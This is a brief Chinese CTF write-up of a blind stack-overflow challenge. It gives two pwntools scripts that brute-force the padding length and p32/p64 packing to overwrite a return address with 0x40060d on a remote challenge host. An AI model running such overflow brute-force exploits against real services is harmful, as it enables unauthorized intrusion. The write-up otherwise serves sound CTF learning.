题目描述
这种题很有意思,只给了题目场景地址没有文件,让你盲打,类似于web中的盲注吧;
nc连接,给了 目标地址, 思路是:
利用栈溢出覆盖,返回这个地址; 具体是溢出多少是不确定的,是P64(),还是 P32() 也是不确定的; 写个EXP逐渐试一下
from pwn import *
b = 0x40060d
for i in range(100):
print(i)
p = remote('111.200.241.244',49684)
payload='a'*i+p64(b)
p.recvuntil(">")
p.sendline(payload)
p.interactive()
得到了flag, 若P64() 没有得出答案的话,换成 P32再试一下;也可以设定适当的取值范围来减少时间;
也可以参考另外一种EXP比我这个复杂一点,但操作只有一步:
from pwn import *
b = 0x40060d
def fuzz(p, i, j):
payload = 'a' * i
if j==1:
payload += p32(b)
if j==2:
payload += p64(b)
p.recvuntil(">")
p.sendline(payload)
def main():
for i in range(100):
print(i)
for j in range(1, 3):
try:
p = remote('111.200.241.244',45566)
fuzz(p, i, j)
print p.recv()
p.interactive()
except:
p.close()
main()